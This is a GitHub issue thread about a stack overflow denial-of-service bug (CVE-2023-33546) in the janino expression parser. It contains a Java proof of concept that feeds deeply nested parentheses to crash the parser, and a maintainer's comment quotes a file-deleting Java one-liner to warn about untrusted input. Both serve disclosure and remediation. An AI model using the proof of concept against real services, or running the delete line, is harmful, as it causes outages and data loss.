A Stack overflow error

Question

A Stack overflow error

PoppingSnack opened this issue 2 years ago · 14 comments

Description

janino 3.1.9 and earlier are subject to denial of service (DOS) attacks when using the expression evaluator.guess parameter name method. If the parser runs on user-supplied input, an attacker could supply content that causes the parser to crash due to a stack overflow.

Error Log

        at org.codehaus.janino.TokenStreamImpl.produceToken(TokenStreamImpl.java:55)
	at org.codehaus.janino.TokenStreamImpl.peek(TokenStreamImpl.java:94)
	at org.codehaus.janino.TokenStreamImpl.peek(TokenStreamImpl.java:114)
	at org.codehaus.janino.Parser.peek(Parser.java:3781)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3203)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)

Reproducing

// PoC.java
import org.codehaus.commons.compiler.CompileException;
import org.codehaus.janino.ExpressionEvaluator;
import org.codehaus.janino.Scanner;

import java.io.IOException;
import java.io.StringReader;

public class PoC{
    public static void test(String data) {
        try{
            ExpressionEvaluator.guessParameterNames(new Scanner(null, new StringReader(data)));
        }
        catch(IOException | CompileException | AssertionError e){
        }

    }

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        String TOO_DEEP_DOC = _nestedDoc(3000, "( ", ") ", "t");
//        String TOO_DEEP_JSON = NestUtil._nestedDoc(1000, "{ ", "} ", "t");
        test(TOO_DEEP_DOC);
    }
}

vtintillier commented a year ago

Thanks!

Answer 1 · 2023-05-15T18:40:29.000Z

Since Janino's parser is a stack-recursive one, deeply nested code structures can always lead to StackOverflowErrors. (Other types of parsers, e.g. token-stack-based ones) would surely be able to parse almost arbitrarily nested code.

Don't know how to handle this. Catching the StackOverflowError and replacing it with a CompileException("Code is too deply nested to parse it") seems risky, because there may be other conditions that cause a StackOverflowError, that should not be handled this way.

We could look at the call stack and verify that it contains mostly org.codehaus.janino.Parser.parse*() frames (as in your example), but that is surely an unsafe bet.

Any proposals?

Answer 2 · 2023-05-15T18:50:56.000Z

Also notice that allowing user input as code input for Janino is always an extremely risky operation, because the user is free to do something like

new File("/etc/passwd").delete()

Only "educated" persons, like system administrators should be allowed to write Janino expressions (scripts, class bodies, compilation units).

There exists a "Janino sandbox" that attempts to prevent the worst (such as the previous example), but (A) that janino sandbox does not work with JRE 17+ and (B) it cannot prevent all kinds of attempts, see https://janino-compiler.github.io/janino/#security.

Answer 3 · 2023-06-05T08:52:12.000Z

How to solve this problem.

Answer 4 · 2023-06-05T10:02:15.000Z

CVE-2023-33546 was assigned to this.

Note: I didn't have any involvement in this assignment, I'm just posting here for reference.

Answer 5 · 2023-06-12T13:04:28.000Z

Is this issue ONLY occurs when using ExpressionEvaluator.guessParameterNames method? Otherwise, it is not affected?

Answer 6 · 2023-06-12T13:07:11.000Z

Would it be an option to set a (default) limit (that can be overridden) to the amount of open brackets you can have at a single time. For example a max of 100 and up a counter every time you hit an open bracket (and stop if the limit is reached) and lower the counter when you hit an end bracket.

Answer 7 · 2023-06-12T14:34:03.000Z

Difficult, because there are a zillion ways to notate nested structures in Java.

Answer 8 · 2023-06-15T09:20:23.000Z

Ok, I decided to catch the StackOverflowError in all relevant API methods and convert it to a CompileException indicating that the nesting of the expression/script/class body/compilation unit is too deep.

Please test!

Answer 9 · 2023-06-16T07:18:11.000Z

Hello @aunkrig ,

what are your plans to get this released?

Thanks a lot!

Answer 10 · 2023-06-18T18:04:56.000Z

CVE-2023-33546 was assigned to this.

Note: I didn't have any involvement in this assignment, I'm just posting here for reference.

This user (PoppingSnack) has been irresponsibly raising issues across a large number of Java JSON tools (including Jackson, a lib that I work on). Most or all of these tools having documented approaches on how to report issues responsibly and this user has ignored them all.

If there is any attempt by this user to claim credit and cash rewards for disclosing vulnerabilities, I hope that the Janino team will not give the user credit due to the irresponsible disclosure.

Answer 11 · 2023-07-04T09:21:49.000Z

what are your plans to get this released?

As you want it, I will prepare a release ASAP.

Answer 12 · 2023-07-04T11:01:00.000Z

Release 3.1.10 is out the door. Please test.

Answer 13 · 2023-07-25T02:29:19.000Z

You're welcome.